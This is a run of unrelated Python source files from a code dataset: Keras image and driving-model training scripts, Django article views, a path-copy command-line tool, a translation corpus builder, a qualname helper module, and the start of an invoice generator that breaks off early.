训练的acc_loss图\r\nplot_training(history_ft)\r\n \r\n \r\n \r\n \r\n", "sub_path": "InceptionV3.py", "file_name": "InceptionV3.py", "file_ext": "py", "file_size_in_byte": 4576, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 28, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 50, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 56, "usage_type": "call"}, {"api_name": "keras.applications.inception_v3.preprocess_input", "line_number": 57, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.applications.inception_v3.preprocess_input", "line_number": 66, "usage_type": "name"}, {"api_name": "keras.layers.GlobalAveragePooling2D", "line_number": 96, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 97, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 98, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 99, "usage_type": "call"}, {"api_name": "keras.optimizers.SGD", "line_number": 112, "usage_type": "call"}, {"api_name": "keras.applications.inception_v3.InceptionV3", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}]} {"seq_id": "288635324", "text": "import csv\nimport cv2\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n\n# Lines in the csv file\nlines = []\n\n# Reading the csv file and save each line in lines array\nwith open('TrainingV3/driving_log.csv') as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n lines.append(line)\n\n# Each line contain: Center image, left image, right image, steering value, throttle, brake, speed\n# and the tag of each one is found in lines[0], so the data starts from lines[1]\nprint(\"First row: \", lines[0])\nprint(\"Second row (data): \", lines[1])\nprint()\nprint(\"Lines Number: \", len(lines))\n\n\n\n\n# correction for the left and the right images of the sample data\nsteering_correction = 0.2\n# Images array for the input data\nimages = []\n# Measurements will be the labels for the Images\nmeasurements = []\ncounter = 0\n\nfor line in lines[1:]:\n center_path = line[0]\n left_path = line[1]\n right_path = line[2]\n cent_measurement = float(line[3])\n throttle = float(line[4])\n # print(cent_measurement)\n\n center_filename = (center_path.split('/')[-1]).split('\\\\')[-1]\n left_filename = (left_path.split('/')[-1]).split('\\\\')[-1]\n right_filename = (right_path.split('/')[-1]).split('\\\\')[-1]\n\n center_current_path = 'TrainingV3' + '/IMG/' + center_filename\n left_current_path = 'TrainingV3' + '/IMG/' + left_filename\n right_current_path = 'TrainingV3' + '/IMG/' + right_filename\n\n cent_image = cv2.imread(center_current_path)[..., ::-1]\n left_image = cv2.imread(left_current_path)[..., ::-1]\n right_image = cv2.imread(right_current_path)[..., ::-1]\n\n left_measurement = cent_measurement + steering_correction\n right_measurement = cent_measurement - steering_correction\n\n cent_image = cv2.resize(cent_image[40:140, :], (64, 64))\n images.append(cent_image)\n measurements.append(tuple((cent_measurement, throttle)))\n # images.append(cent_image_flipped)\n\n left_image = cv2.resize(left_image[40:140, :], (64, 64))\n images.append(left_image)\n measurements.append(tuple((left_measurement, throttle)))\n # images.append(left_image_flipped)\n\n\n right_image = cv2.resize(right_image[40:140, :], (64, 64))\n images.append(right_image)\n measurements.append(tuple((right_measurement, throttle)))\n counter += 1\n print(counter)\n\n\n# Convert images and measurements into numpy arrays for keras\n\n# Covert to numpy arrays\nimages = np.array(images)\nprint(images.shape)\nmeasurements = np.array(measurements)\nprint(measurements.shape)\nprint(measurements[0])\nprint('data in arrays')\n\n\nimport tensorflow as tf\n\n\n# Normalization, Mean Centering, and Cropping\n\n\n# In[37]:\n\n# from keras.models import Sequential\n# from keras.layers import Flatten, Dense, Activation, Lambda, Cropping2D\n# from keras.layers.convolutional import Convolution2D\n# from keras.layers.pooling import MaxPooling2D\n# from keras.layers.core import Dropout\n\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Convolution2D, MaxPooling2D, Dropout, Cropping2D, Activation\nfrom keras.optimizers import Adam\nfrom keras.layers.advanced_activations import ELU\n\n\n\n# We will depend on Nvidia Model\n\ndef Nvidia_model(input_shape):\n # Normalizing, Mean Cenetring, Cropping\n model = Sequential()\n model.add(Lambda(lambda x: x / 255.0 - 0.5, name=\"image_normalization\", input_shape=input_shape))\n\n\n model.add(Convolution2D(24, 5, 5, name=\"convolution_1\", subsample=(2, 2), activation='relu', border_mode=\"valid\",\n init='he_normal'))\n\n # model.add(Convolution2D(nb_filter=36,nb_row=5,nb_co l=5,subsample=(2,2),activation='relu'))\n model.add(Convolution2D(36, 5, 5, name=\"convolution_2\", subsample=(2, 2), border_mode=\"valid\", init='he_normal',\n activation='relu'))\n\n # model.add(Convolution2D(nb_filter=48,nb_row=5,nb_col=5,subsample=(2,2),activation='relu'))\n model.add(Convolution2D(48, 5, 5, name=\"convolution_3\", subsample=(2, 2), border_mode=\"valid\", init='he_normal',\n activation='relu'))\n\n # model.add(Convolution2D(nb_filter=64,nb_row=3,nb_col=3,activation='relu'))\n model.add(Convolution2D(64, 3, 3, name=\"convolution_4\", border_mode=\"valid\", init='he_normal', activation='relu'))\n\n # model.add(Convolution2D(nb_filter=64,nb_row=3,nb_col=3,activation='relu'))\n model.add(Convolution2D(64, 3, 3, name=\"convolution_5\", border_mode=\"valid\", init='he_normal', activation='relu'))\n\n model.add(Flatten())\n\n # Adding Dropout layer\n model.add(Dropout(p=0.2))\n model.add(Activation('relu'))\n model.add(Dense(1000))\n\n # Adding Dropout layer\n model.add(Dropout(p=0.5))\n model.add(Activation('relu'))\n model.add(Dense(500))\n\n # Adding Dropout layer\n model.add(Dropout(p=0.5))\n model.add(Activation('relu'))\n model.add(Dense(100))\n\n # Adding Dropout layer\n model.add(Dropout(p=0.2))\n model.add(Activation('relu'))\n model.add(Dense(10))\n model.add(Dense(2)) # Steering angle action and speed\n\n return model\n\n\n# In[38]:\n\n\n# Training data\n\nX_train = images\nprint(X_train.shape)\ny_train = measurements\nprint(y_train.shape)\n\n\n# Run the model\nepochs_arr = [20, 30, 40, 50]\n\nfor x in range(0, len(epochs_arr)):\n Model = Nvidia_model(input_shape=(64, 64, 3))\n learning_rate = 0.001\n print('created Model')\n # Mean square error and adam optimizer\n adam = Adam(lr=learning_rate)\n Model.compile(optimizer=adam, loss='mse')\n print('compiled Model')\n Model.summary()\n epochs = epochs_arr[x]\n batch_size = 512\n # 15% validation and apply shuffling\n Model.fit(x=X_train, y=y_train, nb_epoch=epochs, batch_size=batch_size, validation_split=0.15, shuffle=True)\n # Save the model for testing it and give it as a paramter when running drive.py\n Model.save('model_6_str_throttle_' + str(learning_rate) + 'lr_' + str(epochs) + 'epoch.h5')\n\n\n\n", "sub_path": "Behavioral-Cloning-Abdo/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 6118, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "csv.reader", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 113, "usage_type": "call"}, {"api_name": "keras.layers.Lambda", "line_number": 114, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 117, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 121, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 125, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 129, "usage_type": "call"}, {"api_name": "keras.layers.Convolution2D", "line_number": 132, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 134, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 137, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 138, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 139, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 142, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 143, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 144, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 147, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 148, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 149, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 152, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 153, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 154, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 155, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 179, "usage_type": "call"}]} {"seq_id": "191720397", "text": "from django.shortcuts import render\n\nfrom core.models import Article\n\n\ndef home(request):\n return render(request, \"base.html\")\n\n\ndef articlelist(request):\n articles = Article.objects.all()\n ctx = {\n \"articles\": articles\n }\n return render(request, \"core/articlelist.html\", ctx)\n\n\ndef articledetial(request, pk): # pk = 아이디 값\n article = Article.objects.get(pk=pk)\n ctx = {\n \"article\": article\n }\n return render(request, \"core/articledetail.html\", ctx)\n\n\ndef articlecreate(request):\n if request.method == \"POST\":\n title = request.POST[\"title\"]\n content = request.POST[\"content\"]\n author = request.POST[\"author\"]\n\n article = Article.objects.create(title=title, content=content, author=author) # 인스턴스 만들고 save까지 한 번에 처리\n\n ctx = {\n \"article\": article\n }\n\n return render(request, \"core/articlecreate.html\", ctx)\n return render(request, \"core/articlecreate.html\")", "sub_path": "core/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1000, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.shortcuts.render", "line_number": 7, "usage_type": "call"}, {"api_name": "core.models.Article.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "core.models.Article.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "core.models.Article", "line_number": 11, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "core.models.Article.objects.get", "line_number": 19, "usage_type": "call"}, {"api_name": "core.models.Article.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "core.models.Article", "line_number": 19, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}, {"api_name": "core.models.Article.objects.create", "line_number": 32, "usage_type": "call"}, {"api_name": "core.models.Article.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "core.models.Article", "line_number": 32, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 38, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 39, "usage_type": "call"}]} {"seq_id": "462906157", "text": "#!/usr/bin/env python3\n#Mike Moss\n#10/14/2016\n#Copies a path.\n\nimport argparse\nimport getpass\nimport superstar\nimport sys\n\nif __name__==\"__main__\":\n\ttry:\n\t\t#Parse CLI args...\n\t\tparser=argparse.ArgumentParser(description=\"Copies superstar paths.\")\n\t\tparser.add_argument(\"-s\",\"--superstar\",\n\t\t\tdest=\"superstar\",\n\t\t\tdefault=\"robotmoose.com\",\n\t\t\thelp=\"Superstar to use (default: robotmoose.com).\")\n\t\tparser.add_argument(\"-l\",\"--local\",\n\t\t\taction='store_true',\n\t\t\thelp=\"Sets superstar to local superstar.\")\n\t\tparser.add_argument(\"-d\",\"--dev\",\n\t\t\taction='store_true',\n\t\t\thelp=\"Sets superstar to test.robotmoose.com.\")\n\t\tparser.add_argument(\"FROM\",\n\t\t\thelp=\"Name of path to copy.\")\n\t\tparser.add_argument(\"TO\",\n\t\t\thelp=\"New name for the copied path.\")\n\t\targs=parser.parse_args()\n\n\t\t#Figure out superstar...\n\t\tsuperstar_url=args.superstar\n\t\tif args.dev:\n\t\t\tsuperstar_url=\"test.robotmoose.com\"\n\t\tif args.local:\n\t\t\tsuperstar_url=\"127.0.0.1:8081\"\n\t\tss=superstar.superstar_t(superstar_url)\n\n\t\t#Print errors...\n\t\tdef onerror(error):\n\t\t\tprint(str(\"Error(\"+str(error[\"code\"])+\") - \"+error[\"message\"]))\n\t\t\texit(1)\n\n\t\t#Print success...\n\t\tdef onsuccess(result):\n\t\t\tprint(\"Success!\")\n\n\t\t#Globals...\n\t\tcopy_data=None\n\n\t\t#Check if to exists...\n\t\tdef do_check_to(data):\n\t\t\tif not data:\n\t\t\t\tprint(\"Path \\\"\"+args.FROM+\"\\\" does not exist!\")\n\t\t\t\texit(1)\n\n\t\t\t#Global copy data...\n\t\t\tglobal copy_data\n\t\t\tcopy_data=data\n\n\t\t\t#Get to...\n\t\t\tss.get(args.TO,do_copy,onerror)\n\t\t\tss.flush()\n\n\t\t#Do copy...\n\t\tdef do_copy(data):\n\t\t\tif data:\n\t\t\t\tanswer=\"\"\n\t\t\t\twhile True:\n\t\t\t\t\tanswer=input(\"Path \\\"\"+args.TO+\"\\\" exists, overwrite (y/n)? \")\n\t\t\t\t\tif answer==\"y\" or answer==\"Y\":\n\t\t\t\t\t\tbreak\n\t\t\t\t\tif answer==\"n\" or answer==\"N\":\n\t\t\t\t\t\texit(1)\n\n\t\t\t#Get auth...\n\t\t\tauth=getpass.getpass(prompt='Enter admin auth: ')\n\n\t\t\t#Copy\n\t\t\tglobal ss\n\t\t\tglobal copy_data\n\t\t\tss.set(args.TO,copy_data,auth,onsuccess,onerror)\n\t\t\tss.flush()\n\n\t\t#Check from==to...\n\t\tif ss.pathify(args.FROM)==ss.pathify(args.TO):\n\t\t\traise Exception(\"From and to are the same!\")\n\n\t\t#Get original...\n\t\tss.get(args.FROM,do_check_to,onerror)\n\t\tss.flush()\n\n\texcept Exception as error:\n\t\tprint(error)\n\t\texit(1)\n\texcept KeyboardInterrupt:\n\t\texit(1)", "sub_path": "utils/superstarv2/starcp.py", "file_name": "starcp.py", "file_ext": "py", "file_size_in_byte": 2161, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "superstar.superstar_t", "line_number": 37, "usage_type": "call"}, {"api_name": "getpass.getpass", "line_number": 77, "usage_type": "call"}]} {"seq_id": "362594354", "text": "import os\nfrom collections import Counter\n\nimport nltk\n\nimport tensorflow as tf\n\nroot_path='../data1'\nfile_name='train.txt'\n\nen_corpus_name='en_corpus'\nch_corpus_name='ch_corpus'\nen_vocab_name='en_vocab'\nch_vocab_name='ch_vocab'\n\n\nclass T2TDataset():\n def __init__(self, data_path, en_corpus_path, ch_corpus_path, en_vocab_path, ch_vocab_path,\n en_limit=100000, ch_limit=10000):\n if data_path is None:\n raise ValueError('data_path must not be None')\n if not os.path.exists(data_path):\n raise ValueError(\"file doesn't exists\")\n\n self._data_path=data_path\n self._en_corpus_path = en_corpus_path\n self._ch_corpus_path = ch_corpus_path\n self._en_vocab_path = en_vocab_path\n self._ch_vocab_path = ch_vocab_path\n self._en_limit = en_limit\n self._ch_limit = ch_limit\n\n if (not os.path.exists(self._en_corpus_path)) or (not os.path.exists(self._ch_corpus_path)):\n self._export_corpus()\n\n if (not os.path.exists(self._en_vocab_path)) or (not os.path.exists(self._ch_vocab_path)):\n self._export_vocab()\n\n def _export_corpus(self):\n count = 0\n print('extract corpus start')\n with tf.gfile.Open(self._data_path, 'r') as f:\n with tf.gfile.Open(self._en_corpus_path, 'w') as en_file:\n with tf.gfile.Open(self._ch_corpus_path, 'w') as ch_file:\n for sentence in f:\n arr = sentence.strip().split('\\t')\n en_sentence = arr[2]\n ch_sentence = arr[3]\n en_tokens = nltk.word_tokenize(en_sentence)\n ch_tokens = [token for token in ch_sentence]\n en_file.write('%s\\n' % (' '.join(en_tokens)))\n ch_file.write('%s\\n' % (' '.join(ch_tokens)))\n count += 1\n if count % 100000 == 0:\n print('current process count: %d' % (count))\n print('extract corpus is over')\n\n def _export_vocab(self):\n if self._en_corpus_path is None or (not os.path.exists(self._en_corpus_path)):\n raise ValueError('en_corpus_path must exists')\n if self._ch_corpus_path is None or (not os.path.exists(self._ch_corpus_path)):\n raise ValueError('ch_corpus_path must exists')\n\n en_tokens_counter = Counter()\n with tf.gfile.Open(self._en_corpus_path, 'r') as en_file:\n for sentence in en_file:\n for token in sentence.split():\n en_tokens_counter[token] += 1\n print(en_tokens_counter)\n sorted_en_list = sorted(en_tokens_counter.items(), key=lambda kv: kv[1], reverse=True)\n with open(self._en_vocab_path, 'w') as f:\n for k, v in sorted_en_list[0: self._en_limit]:\n f.write('%s\\n' % (k))\n\n print('english tokens count is %d' % (len(en_tokens_counter)))\n ch_tokens_counter = Counter()\n with tf.gfile.Open(self._ch_corpus_path, 'r') as ch_file:\n for sentence in ch_file:\n for token in sentence.split():\n ch_tokens_counter[token] += 1\n sorted_ch_list = sorted(ch_tokens_counter.items(), key=lambda kv: kv[1], reverse=True)\n with open(self._ch_vocab_path, 'w') as f:\n for k, v in sorted_ch_list[0: self._ch_limit]:\n f.write('%s\\n' % (k))\n\n print('china tokens count is %d' % (len(ch_tokens_counter)))\n\n\nif __name__==\"__main__\":\n data_path = os.path.join(root_path, file_name)\n en_corpus_path = os.path.join(root_path, en_corpus_name)\n ch_corpus_path = os.path.join(root_path, ch_corpus_name)\n en_vocab_path = os.path.join(root_path, en_vocab_name)\n ch_vocab_path = os.path.join(root_path, ch_vocab_name)\n dataset = T2TDataset(data_path, en_corpus_path, ch_corpus_path, en_vocab_path, ch_vocab_path)", "sub_path": "说明/sources/t2t_dataset.py", "file_name": "t2t_dataset.py", "file_ext": "py", "file_size_in_byte": 3953, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.gfile.Open", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tensorflow.gfile.Open", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 43, "usage_type": "attribute"}, {"api_name": "tensorflow.gfile.Open", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 44, "usage_type": "attribute"}, {"api_name": "nltk.word_tokenize", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.gfile.Open", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 65, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.gfile.Open", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}]} {"seq_id": "378120700", "text": "\"\"\"\nModule to find out the qualified name of a class.\n\"\"\"\n\nimport ast\nimport inspect\nimport types\n\nfrom collections import defaultdict\n\n__all__ = ['qualname']\n\n_cache = {}\n_file_cache = {}\n\n\nclass _Visitor(ast.NodeVisitor):\n def __init__(self):\n super(_Visitor, self).__init__()\n self.stack = []\n\n # The keys here are line numbers of a method/function\n self.function_qualnames = {}\n\n # The keys here are unqualified names of classes\n self.class_qualnames = defaultdict(set)\n\n def current_qualname(self):\n return \".\".join(self.stack)\n\n def visit_FunctionDef(self, node):\n self.stack.append(node.name)\n self.function_qualnames[node.lineno] = self.current_qualname()\n self.stack.append('<locals>')\n self.generic_visit(node)\n self.stack.pop()\n self.stack.pop()\n\n def visit_ClassDef(self, node):\n self.stack.append(node.name)\n self.class_qualnames[node.name].add(self.current_qualname())\n self.generic_visit(node)\n self.stack.pop()\n\n\ndef _fallback_to_name(obj):\n name = obj.__name__\n if inspect.isclass(obj):\n _cache[obj] = name\n else:\n try:\n obj.__qualname__ = name\n except (AttributeError, TypeError):\n _cache[obj] = name\n\n return name\n\n\ndef qualname(obj):\n \"\"\"Find out the qualified name for a class or function.\"\"\"\n\n # For Python 3.3+, this is straight-forward.\n # This attribute is also set where possible on functions processed\n # for the first time as a simple cache\n if hasattr(obj, '__qualname__'):\n return obj.__qualname__\n\n # This is for objects that can't have an attribute set on them\n # (e.g. builtins) and classes (to prevent inheritance issues)\n # See _fallback_to_name\n if obj in _cache:\n return _cache[obj]\n\n code = None\n if isinstance(obj, (types.FunctionType, types.MethodType)):\n # Extract function from unbound method (Python 2)\n obj = getattr(obj, 'im_func', obj)\n try:\n code = obj.__code__\n except AttributeError:\n code = obj.func_code\n\n # Different instances of the same local function share the same code object, so this\n # can be used to look them up in the cache\n if code in _cache:\n return _cache[code]\n elif not (inspect.isclass(obj) or inspect.isroutine(obj)):\n return obj.__qualname__ # This object isn't meant to have a qualname. Raise a sensible error\n\n # For older Python versions, things get complicated.\n # Obtain the filename where the\n # class/method/function is defined.\n try:\n filename = inspect.getsourcefile(obj)\n except TypeError:\n return _fallback_to_name(obj)\n\n # Re-parse the source file to figure out what the\n # __qualname__ should be by analysing the abstract\n # syntax tree. Use a cache to avoid doing this more\n # than once for the same file.\n visitor = _file_cache.get(filename)\n if visitor is None:\n with open(filename, 'r') as fp:\n source = fp.read()\n node = ast.parse(source, filename)\n visitor = _Visitor()\n visitor.visit(node)\n _file_cache[filename] = visitor\n\n # For classes accessible from the top level, directly associate\n # each class with its qualname\n module = inspect.getmodule(obj)\n for k, qname_set in visitor.class_qualnames.items():\n\n # iterate over a copy since we're going to modify it\n for qname in list(qname_set):\n val = module\n for attr in qname.split('.'):\n val = getattr(val, attr, None)\n\n # Ensure that we're getting the right thing\n if not (\n inspect.isclass(val)\n and val.__name__ == attr\n and inspect.getmodule(val) == module\n ):\n break\n else:\n _cache[val] = qname\n qname_set.discard(qname)\n\n # Check if that worked for the current argument\n if obj in _cache:\n assert _cache[obj].endswith(obj.__name__)\n return _cache[obj]\n\n if code:\n result = _cache[code] = obj.__qualname__ = visitor.function_qualnames[code.co_firstlineno]\n else:\n results = visitor.class_qualnames[obj.__name__]\n if not results:\n return _fallback_to_name(obj)\n\n if len(results) == 1:\n result = list(results)[0]\n else: # This means several local classes in the file have the same short name\n\n # Since the qualname of a method is unambiguous, the qualname\n # of this class can be guessed pretty reliably from its methods.\n # Since you could theoretically take a method from one class and\n # assign it as an attribute on another class, we look for the most\n # common prefix.\n counts = defaultdict(int)\n for method in obj.__dict__.values():\n if not isinstance(method, types.FunctionType):\n continue\n method_qualname = qualname(method)\n suffix = '.' + method.__name__\n owner_class_qualname = method_qualname[:-len(suffix)]\n if owner_class_qualname in results:\n counts[owner_class_qualname] += 1\n\n if counts:\n result = max(counts.items(), key=lambda item: item[1])[0]\n else:\n result = list(results)[0]\n\n if '.<locals>.' not in result: # avoid overloading the cache with local classes\n _cache[obj] = result\n\n assert result.endswith(obj.__name__)\n return result\n", "sub_path": "qualname.py", "file_name": "qualname.py", "file_ext": "py", "file_size_in_byte": 5800, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ast.NodeVisitor", "line_number": 17, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 26, "usage_type": "call"}, {"api_name": "inspect.isclass", "line_number": 48, "usage_type": "call"}, {"api_name": "types.FunctionType", "line_number": 75, "usage_type": "attribute"}, {"api_name": "types.MethodType", "line_number": 75, "usage_type": "attribute"}, {"api_name": "inspect.isclass", "line_number": 87, "usage_type": "call"}, {"api_name": "inspect.isroutine", "line_number": 87, "usage_type": "call"}, {"api_name": "inspect.getsourcefile", "line_number": 94, "usage_type": "call"}, {"api_name": "ast.parse", "line_number": 106, "usage_type": "call"}, {"api_name": "inspect.getmodule", "line_number": 113, "usage_type": "call"}, {"api_name": "inspect.isclass", "line_number": 124, "usage_type": "call"}, {"api_name": "inspect.getmodule", "line_number": 126, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 154, "usage_type": "call"}, {"api_name": "types.FunctionType", "line_number": 156, "usage_type": "attribute"}]} {"seq_id": "148999519", "text": "# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# example use: python code/invoice.py September 2019\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n\n# LIBRARIES\n#python 3.6.8\n#tkinter 8.6\n#numpy 1.15.4\n#pandas 0.24.0\n#docxtpl 0.6.3\n#docx 0.8.7\n#docxcompose 1.0.2\n\nimport tkinter as tk\nimport numpy as np\nimport pandas as pd\nimport os\n\nfrom docxtpl import DocxTemplate\nfrom docx import Document\nimport datetime\nfrom docxcompose.composer import Composer\nfrom sys import argv\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# COMMAND LINE INPUTS\n\n# check command line args for month and year of invoice\nif len(argv) > 2:\n MONTH = argv[1] # first argument is the month\n YEAR = argv[2] # second argument is the year\nelse:\n exit('Missing MONTH and/or YEAR argument.')\n\n# month set\nmonth_set = set(['January', 'February', 'March', 'April', 'May', 'June', 'July',\n 'August', 'September', 'October', 'November', 'December'])\n# check for proper month\nif MONTH not in month_set:\n exit('Provide a proper month.')\n\n# try for proper dates\ntry:\n CURR_DATE = datetime.datetime.strptime(MONTH+' ' + YEAR, '%B %Y')\nexcept ValueError: # else exit\n str_exit = 'Improper command line inputs.\\n'\n str_exit += 'Proper input looks like:\\n'\n str_exit += 'python code/invoice.py September 2019'\n exit(str_exit)\n\n### needed template files\n# docs\nfpage = 'templates/fpage.docx' # first page\ninvoice_template = 'templates/invoice_template.docx' # base template\ninvoice_template_mult = 'templates/invoice_template_mult.docx' # goes with RPind\ninvoice_template_z = 'templates/invoice_template_z.docx' # goes with Zind\ninvoice_template_z_gg = 'templates/invoice_template_z_gg.docx' # goes with Zind/ gg\ninvoice_template_v = 'templates/invoice_template_v.docx' # goes with Vind\n\n# data\ninvoice_data_template = 'templates/invoice_data_template.xlsx'\n\n# check for needed files\nif not os.path.exists(fpage): # fpage template\n exit('Missing fpage template.')\nif not os.path.exists(invoice_template): # word template\n exit('Missing invoice word template.')\nif not os.path.exists(invoice_template_mult): # word template mult\n exit('Missing invoice word template mult.')\nif not os.path.exists(invoice_template_z): # word template z\n exit('Missing invoice word template z.')\nif not os.path.exists(invoice_template_z_gg): # word template z_gg\n exit('Missing invoice word template z_gg.')\nif not os.path.exists(invoice_template_v): # word template v\n exit('Missing invoice word template v.')\nif not os.path.exists(invoice_data_template): # data template\n exit('Missing invoice data template.')\n\n# ------------------------------------------------------------------------------\n# 